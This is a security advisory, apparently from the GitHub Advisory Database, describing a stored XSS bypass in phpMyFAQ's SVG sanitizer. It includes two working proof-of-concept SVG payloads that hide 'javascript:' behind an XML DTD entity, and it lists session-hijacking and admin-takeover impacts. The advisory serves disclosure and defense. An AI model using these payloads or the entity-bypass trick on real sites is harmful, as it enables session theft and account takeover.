phpMyFAQ: Stored XSS via SVG DTD Entity Bypass in SvgSanitizer
What fixes it
- 4.2.0-betaphpMyFAQGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
The regex-based SvgSanitizer decodes HTML entities (html_entity_decode) before pattern matching, but does not resolve XML custom entities defined in an internal DOCTYPE subset. An attacker with FAQ_EDIT permission can upload an SVG containing <!ENTITY j "javascript"> and <a href="&j;:alert(...)">. isSafe() returns true, the file is stored verbatim, and the browser's XML parser resolves the entity โ XSS on click.
Distinction from CVE-2026-34974
CVE-2026-34974 (patched in 4.1.1) used HTML numeric entities (j). This bypass uses XML DTD custom entities, which html_entity_decode() does not resolve. Confirmed on 4.2.0-beta (commit f22c436) โ isSafe()=TRUE for the DTD payload while the CVE-2026-34974 payload is correctly blocked.
Affected component
src/phpMyFAQ/Helper/SvgSanitizer.php(decodeAllEntities / isSafe)Controller/Administration/Api/ImageController.php:147(upload flow)
PoC Payload (valid XML, passes isSafe):
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY j "javascript">]>
<svg xmlns="http://www.w3.org/2000/svg">
<a href="&j;:alert(document.domain)">
<text x="20" y="40" fill="red">Click me</text>
</a>
</svg>OR
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY j "javascript">
]>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 150">
<rect width="300" height="150" fill="#c0392b" rx="10"/>
<text x="150" y="55" text-anchor="middle" font-family="Arial" font-size="18" fill="white" font-weight="bold">phpMyFAQ XSS PoC</text>
<a href="&j;:alert('XSS:'+document.domain)">
<rect x="75" y="70" width="150" height="50" fill="white" rx="8" cursor="pointer"/>
<text x="150" y="102" text-anchor="middle" font-family="Arial" font-size="16" fill="#c0392b" cursor="pointer">Click me</text>
</a>
</svg>Impact
- Session hijacking: the XSS fires in the phpMyFAQ domain context, giving access to document.cookie and session tokens of any user viewing the SVG
- Admin account takeover: an editor uploads the SVG, an admin clicks it โ attacker steals admin session
- Persistent: the SVG is stored server-side in content/user/images/, the payload fires on every view (no user interaction beyond a click)
- No CSP protection: SVGs are served as Content-Type: image/svg+xml without Content-Disposition: attachment or script-src CSP header
<img width="1280" height="900" alt="01_login_page" src="https://github.com/user-attachments/assets/5b03b84c-d15a-4248-af6a-0bd024309dcc" /> <img width="1280" height="900" alt="02_login_filled" src="https://github.com/user-attachments/assets/e2454eb3-520c-48a9-bad7-4a44da25d3b8" /> <img width="1280" height="900" alt="03_admin_dashboard" src="https://github.com/user-attachments/assets/61197257-848c-419c-9d5e-70c99a2278a3" /> <img width="1280" height="900" alt="04_faq_add_page" src="https://github.com/user-attachments/assets/138d4934-e8f6-4159-aed5-b7efa08cd9f0" /> <img width="1280" height="900" alt="05_image_dialog" src="https://github.com/user-attachments/assets/b53f9a23-62fa-4f42-99ec-6f4e76484305" /> <img width="1280" height="900" alt="06_svg_uploaded" src="https://github.com/user-attachments/assets/941ebf5c-a753-4567-8bb5-1353fb363a79" /> <img width="1280" height="900" alt="07_after_upload" src="https://github.com/user-attachments/assets/f3edf0ad-8747-41db-bec9-2763fb376be9" /> <img width="1280" height="800" alt="08_svg_before_click" src="https://github.com/user-attachments/assets/7b5e3d49-3142-4706-9a2d-aa05298f5b90" /> <img width="1242" height="855" alt="09_xss_alert_visible" src="https://github.com/user-attachments/assets/71af7326-4247-4511-baf1-d079ac0944ee" />
Text from GitHub Advisory Database
Affected versions 1
- phpMyFAQ<= 4.2.0-alpha.2GitHub